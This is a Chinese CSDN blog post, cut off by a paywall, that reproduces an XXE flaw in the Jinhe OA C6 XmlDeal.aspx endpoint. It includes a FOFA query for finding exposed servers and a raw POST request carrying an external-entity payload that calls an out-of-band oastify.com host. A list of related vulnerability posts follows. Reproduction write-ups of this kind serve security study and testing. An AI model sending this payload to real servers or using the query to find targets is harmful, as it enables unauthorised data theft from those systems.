【漏洞复现】金和OA XmlDeal.aspx XXE漏洞

最新推荐文章于 2024-04-02 17:58:16 发布

从不学安全

最新推荐文章于 2024-04-02 17:58:16 发布

阅读量518

点赞数

分类专栏：漏洞复现文章标签： java php

本文链接：https://blog.csdn.net/qq_67810151/article/details/137244111

版权

漏洞复现专栏收录该内容

99 篇文章 33 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了金和数字化智能办公平台（JC6）中存在XML实体注入漏洞的情况，详细阐述了漏洞概述、复现步骤及影响范围。此漏洞可能导致未授权攻击者获取服务器敏感数据。

摘要由CSDN通过智能技术生成

0x01 产品简介

金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。

0x02 漏洞概述

金和OA-C6-XmlDeal.aspx接口存在XML实体注入漏洞，未授权的攻击者可通过该漏洞获取服务器敏感数据。

0x03 测绘语句

fofa: app="金和网络-金和OA"

0x04 漏洞复现


使用burp自带的dnslog

POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1

Host:

Content-Type: application/Xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://zdgenbqwmvts71ozygb7fowluc03otci.oastify.com/"> %remote;]>'

了解本专栏

订阅专栏解锁全文

超级会员免费看

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

从不学安全

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录

订阅专栏

金和OA C6 XmlDeal.aspx XXE漏洞复现

0xSec

03-31

499

金和OA C6 XmlDeal.aspx 接口处存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

【漏洞复现】金和OA-C6-xmldeal-XXE

知黑而守白

01-25

222

金和OA协同办公管理系统软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。金和OA协同办公管理系统 XmlDeal 接口存在xxe漏洞。存在一处XML外部实体（XXE）漏洞。攻击者通过精心构造的XML文件可能导致系统解析敏感信息，从而获取敏感数据或执行潜在的攻击。

参与评论您还未登录，请先登录后发表或查看评论

用友U8cloud ExportUfoFormatAction SQL注入漏洞复现（含nuclei-poc）

m0_50797689的博客

04-01

641

用友U8cloud ExportUfoFormatAction SQL注入漏洞复现（含nuclei-poc）

【漏洞复现】用友GRP-U8 listSelectDialogServlet SQL注入漏洞

最新发布

qq_67810151的博客

04-02

185

用友GRP-U8R10行政事业内控管理软件 listSelectDialogServlet 接口处存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

网康 NS-ASG安全网关存在远程命令执行漏洞复现

薛定谔嘚喵博客

10-09

528

网康应用安全网关系统存在远程命令执行漏洞，攻击者通过漏洞可以执行任意命令，导致服务器失陷。

【漏洞复现】网络验证系统SQL注入漏洞 0day

失心少年

04-02

176

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！网络验证系统 getInfo 存在SQL注入漏洞。

【漏洞复现】金和OA存在任意文件读取漏洞

失心少年

11-18

369

金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。该系统存在任意文件读漏洞。本文所提供的工具仅用于学习，禁止用于其他！

金和 OA C6/Control/GetSqlData.aspx/.ashx SQL 注入漏洞复现

0xSec

12-15

1034

金和 OA C6/Control/GetSqlData.aspx/.ashx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

漏洞复现--企望制造ERP系统 RCE

qq_53003652的博客

10-27

405

企望制造ERP系统是畅捷通公司开发的一款领先的生产管理系统，它以集成化管理为核心设计理念，通过模块化机制，帮助企业实现生产、采购、库存等方面的高效管理。该产品comboxstore.action接口存在RCE风险。访问/mainFunctions/comboxstore.action。存在如上页面即可能存在漏洞。脚本来自揽月安全团队。

金和OA C6任意文件读取漏洞复现[附POC]

薛定谔嘚喵博客

10-11

1143

金和OA C6系统的download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器的敏感信息。

【1day】金和协同管理平台c6系统任意文件读取漏洞学习

记录并分享学习安全的知识点..

10-25

336

金和OA是一款企业级办公自动化软件，旨在提供高效的办公流程管理和协作解决方案。它提供了一系列功能和工具，帮助企业实现办公自动化、信息共享和团队协作。金和OA系统存在任意文件读取漏洞，攻击者通过恶意构造的请求下载服务器上的任意文件，包括敏感文件、配置文件、数据库文件等。这种漏洞通常存在于Web应用程序中，是由于不正确的输入验证或不安全的文件处理机制导致。

CVE-2020-14882 WebLogic远程代码执行漏洞复现

千寻的博客

12-17

1万+

Weblogic简介 WebLogic Server是美国Oracle公司的主要产品之一，其主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用，是商业市场上主要的Java(J2EE)应用服务器软件之一。漏洞描述 2020年10月28日，Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）POC被公开，远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 We

Tomcat任意文件写入(CVE-2017-12615)漏洞复现

weixin_45540609的博客

07-28

2002

一、漏洞原理影响范围：pache Tomcat7.0.0-7.0.81（默认配置）如果配置了默认servlet，则在9.0.1（Beta），8.5.23，8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码（RCE）漏洞，CVE-2017-12615：远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件（如WebDAV中所使用的）.

漏洞复现：（0day）Apache Solr 任意文件读取漏洞

New Wh1te Hat

03-18

741

一、漏洞简介 Solr Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。特点 Solr是一个高性能，采用Java开发，基于Lucene的全文搜索服务器。同时对其进行了扩展，提供了比Lucene更为丰富的查询语言，同时实现了可配置、可扩展并对查询性能进行了优化，并且提供了一个完善的功能管理界面，是一款非常优

s2-061漏洞复现

Birdman-one的博客

12-11

1932

s2-061 Struts2介绍是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务逻辑

phpstudy后门预警及漏洞复现